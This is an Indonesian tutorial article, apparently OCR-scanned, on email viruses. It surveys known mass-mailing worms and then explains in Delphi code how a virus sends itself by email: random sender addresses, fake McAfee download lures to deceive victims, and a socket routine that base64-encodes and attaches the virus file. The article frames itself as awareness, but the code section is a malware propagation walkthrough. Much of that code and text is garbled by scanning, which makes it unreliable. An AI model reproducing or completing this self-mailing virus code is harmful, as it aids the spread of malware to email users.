limuKomputer.®rg

Virus E-mail

Anharku
v_maker@yahoo.com
http://anharku.freevar.com

Lisensi Dokumen:

Copyright © 2003-2009 lImuKomputer.Com

Seluruh dokumen di IImuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas
untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau merubah atribut
penulis dan pernyataan copyright yang disertakan dalam setiap dokumen. Tidak diperbolehkan
melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu dari ImuKomputer.Com.

Mungkin hanya sekedar mengingatkan anda bahwa ada banyak virus yang menyebar melalui email

contohnya:

virus Anjelina jolie (Agent.GPKB), virus ini akan mengirimkan spam dengan menyertakan link untuk mendownload
video “palsu” dari Angelina Jolie yang ternyata akan mendownload sebuah program antispyware “palsu” juga
dengan nama antivirus XP 2008.

Virus Anjelina Jolie Il (W32/DLoader.ITOA) yang berisi email dari Daily Top 10 dengan subject CNN.com Daily Top
10, yang meminta untuk mendownload sebuah file dengan nama get_flash_update.exe. Get_flash_update.exe
itulah file virus yang disamarkan sebagai aplikasi flash player.

Antivirus Gadungan mengeksploitasi kelemahan mailserver dengan mengirimkan e-mail virus melalui file
terkompres. email tersebut berisi konfirmasi pengiriman barang dari UPS yang meminta kita mencetak invoice .doc
yang sebenarnya adalah file virus karena memiliki ekstensi ganda (ups_letter.doc.exe). Supaya lampiran ini tidak
diblok di mailserver ia di kompres terlebih dahulu dengan nama “ups_letter.zip”.

W32/Emmareg.A Virus ini mempunyai ukuran 42 KB, untuk mempermudah menyebarannya virus ini akan
menggunakan icon Folder. Virus ini menyebar melalui email dengan mengirimkan [reply] semua email yang ada di
INBOX dengan menyertakan attachment NOVA.SCR.

VBS/Hysra.gen@mm (Virus yang mengirimkan SPAM) Jika file yang terinfeksi VBS/Hysra.gen@mm dijalankan
maka akan muncul konfirmasi dari Outlook yang memberitahukan adanya program mencoba mengakses data
alamat-alamat email Outlook dan mengirimkan email. Hal ini terjadi karena memang VBS/Hysra.gen@mm ini akan
berupaya untuk mengirimkan email ke alamat yang ditemukannya di komputer korban.

Worm.VBWorm.NUJ (Moontox Bro, Rontokbro yang “montok” dan “cinta” Indonesia) Pada saat VBWorm.NUJ
tersebut aktif maka secara otomatis akan mencoba untuk mengirimkan dirinya dengan memanfaatkan auto send
program Microsoft Outlook.
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W32/Small.KL@mm Small.KL akan datang dengan membawa lampiran dengan nama ekstensi yang jarang
digunakan oleh beberapa virus lain. Tujuannya adalah untuk menghindari blocking lampiran yang biasa dilakukan
oleh mailserver terhadap file virus seperti .exe, .com, .zip dst. Adapun ekstensi lampiran yang digunakan adalah
sebagai berikut : .b64 .BHx .HQX .mim .uu .UUE .XxE

W32/VBWorm.MLG Untuk menyebarkan dirinya VBWorm.MLG akan mengambil semua alamat email yang ada di
komputer yang terinfeksi untuk kemudian akan menyebarkan dirinya kesemua alamat email yang sudah
diperolehnya dimana email tersebut seolah-olah dikirim dari PCME*IA [xxxx@pcme*ia.co.id] dengan attcahment
PCMAV-RC9.2IP

Dan mungkin masih banyak lagi yang lainnya yang ga bisa saya sebutkan semuanya disini.. ©

Yang dilakukan oleh virus adalah mengelabuhi penyedia jasa email (melalui E-mail file attachment). Cara
penyebaran Virus dengan menggunakan email, yaitu mengirimkan Virus melalui attachment file email.

To: .com
cen
Subject: [Re: Fw:

Attach: ¢ ["|Mova.scr (43.1 KB) 3
e

Sorry, Saya lupanih ;)

~2
attachment file email berisi File
virus dengan nama MNova.scr

Disini saya akan menerangkan sedikit saja rahasia virus bisa melakukan sendiri proses sending e-mail
..next karena menggunakan Delphi maka deklarasikan di bagian uses-nya:

Uses
untMailSend in 'untMailSend.pas',
GetMail,

Lalu tuliskan procedure Instal yang akan melakukan Procedure DistrubateMail yang terletak di Unit
GetMail. Procedure DistrubateMail mendeklarasikan isi dari e-mail yang akan dikirimkan oleh virus
seperti gambar di bawah ini.
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-] Uses

———————— GewMail
-] Procedures

| - -

Randomize: //daftarkan Random alamat penyvedia jasa e-mail -

Case Randomi6) Of

0: mailDomain := 'yahoo.com': / ‘
ISR I e ST

: wailDomain ‘plasa.con’;
'msn.con' ;
'gmail.com'
'boleh.com'

1
2
3: wailDomwain :
4: mailDomain

5: mailDomain :

End:
Case Random({10) Of //daftarkan nama alamat email korban isi e-mail: Palsu mengecoh korban
O:Begin agar mendownload file virus
mailFrom := '#ilgnmclliB';: //zlamat korban
mailSubject := 'download': //perikal
mailBody := 'If you are installing your McAfee software using an installation CD, the
' If you obtained your Mcifee software via download, then you can downloa

mailFile :=/'H\c.l.fi-:‘_0|9//file virus yvang ikut disertakan
End; /]\

1:Begin
mwailFrom := ' 11V_CCICIE@';
mailSubject := 'download';
mailBody := 'If you are installing your Mcifee software using an installation €D, then
' If you obtained your Mcifee software via download, then you can download
mailFile := 'MNciAfee.com':;
End:
Z2:Begin
wailFrom := 'Mnyogva@' :
mailSubject := 'download':’
mailBody := 'If you are installing your MciAfee software using an installation CD, then
" If you obtained your Mcifee software via download, then you can download
mailFile := 'MNcAfee.com':;
End;
3:Begin
=

“

Kalau isi sudah ada maka siapa yang harus mengirimkan isi e-mail tersebut? Tentunya harus ada

perintah untuk mengirimkan e-mail tersebut.  Perintah untuk mengirimkan e-mail

tersebut

dideklarasikan pada Procedure SendData yang terletak pada unit untMailSend. Procedure SendData

tersebut berisi socket seperti di bawah ini:

-] Procedures

——————d | HitiaiGend |

-]

([ Uses

L ;| '+wailTo+#13810+
' ' trailSubiect+#13§10+
'MINE-Version: 1.0'#13#10+

SendData('(From:| '+wailFrom+#13§104+ //bagian sock pengiriman data
To

'Content-Type: multipart/mixed; boundary="'+Rnd+' "' 1310413410+

'——'+Rnd+#13# 10+
'Content-Type: text/plain; charset:us-ascii'#13§10#13#10+
[wailBodyH#13#108134#10+
' ——'+Rnd+#13§10+
'Content-Type: application/x-shockwave-flash;'#13#10+
' name="'+ExtractFileName (mailFile)+'"'#13#10+
'Content-Transfer-Encoding: base6d4'#13#10#13§10, sock):
AssignFile (F, mailFilE]: //F File Virus yg disertakan
FileMode := O; ’l\
{$I-}
Reset (F,1);
If IOResult = 0 Then
Begin
SetLength(FileBuf, FileSize(F)):
BlockRead(F, FileBuf[1l], FileSize(F)):
Base64Encode (FileBuf, SendBuf):
SendData(SendBuf, Sock); //Lakukan pengiriman data
CloseFile(F):
End;

Cf w ]

ajl

L]
]

Nah sekarang sudah taukan virus bisa menyebar melalui E-mail file attachment. © maka berhati-hatilah

dalam menerima file attachment E-mail ,kenali dulu file tersebut kegunaannya, fungsinya apa? Lalu dari

penyedia jasa yang benar atau tidak? Semoga dapat membuka dan menambah wawasan anda.
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Biografi Penulis

RiE0 S
sekedar chatting ga jelas..Dari temanku bernama DNZ lah aku mulai mengenal dunia virus..lalu aku
belajar secara otodidak karna temanku DNZ lebih suka dunia Hacking. Belajar algoritma dan
pemrograman, membuat flowchart, dan belajar bahasa pemrograman seperti visual basic, delphi, C++,
pascal, asmbly. Belajar tentang micro, website, PHP, Basis data, MySQL, belajar tentang Jaringan
Komputer..belajar tentang segala sesuatu yang berbau komputer.
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Anharku. Pertama mengenal komputer saat SMP pertamanya kenal
komputer hanya bermain game bawaan window's lambat laun karna
pergaulan  dan  pertumbuhan, merasakan anehnya cinta
monyet...patahhati lalu melampiaskannya pada bermain Game online
namun karena satu persatu game itu servernya runtuh (gameOver kali)
jadi aku memutuskan vakum dari dunia gamer waktu itu juga saat aku
masih UAS jadi aku fokus ke skull dulu.Lanjut mengenal dunia internet
sejak hobi main di warnet untuk sekedar mengecek e-mail, fs, dan
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